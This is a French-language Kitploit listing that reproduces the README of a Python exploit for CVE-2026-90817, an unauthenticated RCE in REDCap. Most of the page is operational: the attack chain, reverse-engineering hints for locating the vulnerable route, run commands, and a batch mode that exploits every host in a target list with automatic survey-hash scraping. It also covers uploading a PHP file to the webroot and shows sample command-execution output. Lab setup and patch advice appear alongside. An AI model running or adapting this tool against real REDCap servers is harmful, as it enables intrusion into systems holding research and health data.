Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-90817 — PoC Python pour CVE-2026-90817, une RCE non authentifiée dans REDCap via le routage passthrough des enquêtes et l'injection de chemin de fichier, avec un lab Docker et des cibles protégées par liste d'autorisation. | Kitploit
Outils/GitHubGitHub/exdev994/cve-2026-90817
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingOutil d'Accès à DistanceDéveloppement de Charges UtilesLabs et Pratique
GitHubexdev994/cve-2026-90817

CVE-2026-90817

PoC Python pour CVE-2026-90817, une RCE non authentifiée dans REDCap via le routage passthrough des enquêtes et l'injection de chemin de fichier, avec un lab Docker et des cibles protégées par liste d'autorisation.

il y a 7h 50mPas encore vérifié
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-90817 — PoC RCE non authentifiée REDCap (Usage autorisé uniquement)

USAGE AUTORISÉ UNIQUEMENT. Vous êtes responsable de l'autorisation légale de chaque cible. L'utilisation non autorisée contre des instances REDCap tierces est illégale.

Résumé de la vulnérabilité

ChampValeur
CVECVE-2026-90817
ProduitVanderbilt University REDCap
CVSS9.8 Critique
AuthNon authentifiée (nécessite un hash de sondage public valide)
AffectéREDCap 13.3.0 et supérieur
Corrigé16.0.49 LTS, 17.3.10 LTS, 17.4.4 Standard Release
CWECWE-73 (Contrôle externe du nom de fichier ou du chemin), CWE-94 (Injection de code)

Chaîne d'attaque :

  1. Obtenir un hash de sondage public valide depuis une instance REDCap.
  2. Manipuler les requêtes HTTP pour atteindre une route de contrôleur non prévue via le routage passthrough des sondages.
  3. Fournir un paramètre de chemin de fichier/flux forgé lors du traitement de l'import de données.
  4. Obtenir une exécution de code à distance sur le serveur REDCap.

Structure du projet

root@kitploit:~
CVE-2026-90817/
├── poc_cve_2026_90817.py   # PoC (cible unique, protégé par liste d'autorisation)
├── docker-compose.yml       # Pile de labo MySQL + PHP-Apache
├── redcap-init/
│   ├── database.php         # Configuration de la base REDCap pour le labo
│   └── php.ini              # Paramètres PHP pour le labo
├── redcap-src/              # <-- extraire la source REDCap ici (à votre charge)
├── targets.txt              # Cibles autorisées : un hôte par ligne
├── payload.txt              # Fichier d'exemple pour le mode upload
├── requirements.txt         # Dépendances Python
└── poc_results.txt          # Généré après l'exécution du PoC

Prérequis

  • Docker et Docker Compose
  • Python 3.9+
  • Archive source REDCap (version vulnérable, par ex. 14.x ou 15.x) depuis le consortium Vanderbilt REDCap

REDCap est un logiciel sous licence. Vous devez l'obtenir via les canaux officiels pour votre propre labo.

Configuration du labo

1. Extraire la source REDCap

root@kitploit:~
mkdir -p redcap-src
# Extract your redcap.zip contents into redcap-src/
# The directory should contain index.php, redcap_vX.X.X/, etc.

2. Démarrer l'environnement de labo

root@kitploit:~
docker compose up -d

Attendez que le healthcheck MySQL passe, puis ouvrez :

root@kitploit:~
http://localhost:8080

Terminez l'assistant d'installation REDCap en utilisant ces paramètres de base de données (préconfigurés dans redcap-init/database.php) :

ParamètreValeur
Hostdb
Databaseredcap
Userredcap
Passwordredcap123

3. Créer un sondage public

  1. Connectez-vous à REDCap en tant qu'admin.
  2. Créez un nouveau projet.
  3. Activez « Use surveys in this project ».
  4. Ouvrez le lien du sondage public et copiez le hash depuis l'URL (paramètre s=).

Exemple d'URL de sondage :

root@kitploit:~
http://localhost:8080/surveys/?s=ABC123XYZ

Hash du sondage : ABC123XYZ

Rétro-ingénierie (remplir les placeholders)

L'avis public ne divulgue pas la route de contrôleur ni le nom de paramètre exacts. Après avoir configuré votre labo, effectuez de la RE sur redcap-src/ et remplissez les constantes TODO dans poc_cve_2026_90817.py :

root@kitploit:~
VULNERABLE_ROUTE = "TODO_CONTROLLER_ROUTE"   # controller route via survey passthrough
FILE_PATH_PARAM = "TODO_FILE_PATH_PARAM"     # file-path/stream parameter name
WEBROOT_PATH = "/var/www/html/redcap/"       # webroot inside container
UPLOADER_NAME = "x.php"                      # PHP uploader filename

Conseils de RE

Recherchez le routage passthrough des sondages :

root@kitploit:~
grep -rn "passthrough\|survey.*route\|Routes::" redcap-src/ --include="*.php" | head -50
grep -rn "Controller" redcap-src/ --include="*.php" | grep -i "import\|survey" | head -50

Recherchez la gestion du chemin de fichier/flux de l'import de données :

root@kitploit:~
grep -rn "file_path\|file-path\|stream\|DataImport\|data_import" redcap-src/ --include="*.php" | head -50
grep -rn "fopen\|file_get_contents\|include\|require" redcap-src/ --include="*.php" | grep -i "import" | head -50

Définissez STAGE1_SUCCESS_MARKER sur une chaîne présente dans une réponse réussie de l'étape 1 (optionnel mais recommandé).

Installer les dépendances Python

root@kitploit:~
pip install -r requirements.txt

Exécuter le PoC

Le script refuse les cibles qui ne sont ni des hôtes de labo (localhost, 127.0.0.1, ::1, *.local, *.test, *.localhost) ni listées dans targets.txt.

Hash de sondage

CVE-2026-90817 est non authentifiée — aucune connexion n'est nécessaire. La seule précondition est un hash de sondage public valide (depuis l'URL de sondage ?s=HASH).

L'outil peut découvrir automatiquement le hash de sondage en scrapant les pages publiques de la cible (au mieux). Il vérifie les endpoints REDCap courants (/, /redcap/, /index.php, /surveys/) pour des liens /surveys/?s=HASH. Cela ne fonctionne que si la cible expose publiquement des liens de sondage (mauvaise configuration). Pour les instances REDCap correctement configurées, fournissez le hash manuellement via --hash.

  • Mode cible unique : --hash est optionnel (découverte automatique si omis)
  • Mode batch : découverte automatique par cible ; les cibles qui n'exposent pas de liens de sondage sont ignorées

Cibles autorisées (hors labo)

Pour les cibles hors labo, créez targets.txt avec un hôte par ligne (FQDN ou IP). Vous êtes responsable de l'autorisation légale de chaque hôte listé.

root@kitploit:~
# targets.txt
redcap.client.example.com
10.0.0.5
192.168.1.100

Exemples

Cible de labo avec hash explicite :

root@kitploit:~
python poc_cve_2026_90817.py \
  --target http://localhost:8080 \
  --hash ABC123XYZ \
  --mode both \
  --out poc_results.txt

Cible de labo avec hash découvert automatiquement :

root@kitploit:~
python poc_cve_2026_90817.py \
  --target http://localhost:8080 \
  --mode both \
  --out poc_results.txt

Mode batch (itérer sur tous les hôtes de targets.txt)

Ajoutez --batch pour exploiter automatiquement chaque hôte listé dans targets.txt. L'outil découvre automatiquement le hash de sondage par cible en scrapant les pages publiques. L'outil affiche toutes les cibles et demande confirmation avant de commencer (utilisez --yes pour ignorer l'invite en scripting).

root@kitploit:~
python poc_cve_2026_90817.py \
  --batch \
  --mode both \
  --out poc_results.txt

Le port est hérité de --target (par défaut 8080). Pour utiliser un port différent, définissez --target http://placeholder:443/ avant --batch.

Le résultat de chaque cible est ajouté au fichier de sortie. Un résumé est affiché à la fin : N success, M failed, T total.

Arguments

ArgumentDéfautDescription
--targethttp://localhost:8080URL de base de la cible
--hash(optionnel)Hash de sondage public. Si omis, découvert automatiquement en scrapant les pages publiques (au mieux).
--allowlisttargets.txtFichier de cibles, un hôte par ligne
--batchoffItérer sur tous les hôtes du fichier de cibles et exploiter chacun
--yesoffIgnorer l'invite de confirmation du batch
--modebothid, upload, ou both
--outpoc_results.txtFichier de log des résultats
--timeout30Timeout HTTP (secondes)
--upload-localpayload.txtFichier local à uploader
--upload-remoteuploaded_payload.txtNom de fichier distant sous le webroot
--skip-placeholder-checkoffExécution à blanc du flux HTTP sans constantes TODO remplies

Remarque : la découverte automatique ne fonctionne que sur les cibles qui exposent publiquement des liens de sondage. Pour la plupart des instances REDCap, fournissez --hash manuellement.

Sortie attendue

En cas de succès, stdout affiche :

root@kitploit:~
[0xNuts] CVE-2026-90817 PoC -- AUTHORIZED USE ONLY
[0xNuts] You are responsible for legal authorization of every target.
[0xNuts] Using survey hash: ABC123XYZ
[0xNuts] Stage 1: route manipulation -> ...
[0xNuts] Stage 2: file-path injection -> ...
[0xNuts] id output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[0xNuts] uploaded to /var/www/html/redcap/uploaded_payload.txt
[0xNuts] Result logged to poc_results.txt

Les résultats sont ajoutés à poc_results.txt :

root@kitploit:~
[2026-09-21T03:20:00Z]
target=http://localhost:8080/
survey_hash=ABC123XYZ
status=success
id_output=uid=33(www-data) gid=33(www-data) groups=33(www-data)
uploaded_files=/var/www/html/redcap/uploaded_payload.txt
notes=mode=both
------------------------------------------------------------

Atténuation

Mettez à niveau vers REDCap 16.0.49 LTS, 17.3.10 LTS, ou 17.4.4 Standard Release (selon le cas).

Durcissement supplémentaire :

  • Restreindre l'exposition des sondages publics là où ce n'est pas nécessaire.
  • Surveiller les requêtes HTTP ciblant les routes de sondage et les endpoints d'import de données.
  • Revoir la validation côté serveur des paramètres de chemin de fichier/flux dans les gestionnaires d'import.

Références

  • CVE-2026-90817 (CVE.org)
  • Securifera Advisories
  • Découvreur : Ryan Wincey (@rwincey, Securifera)
Télécharger l’outil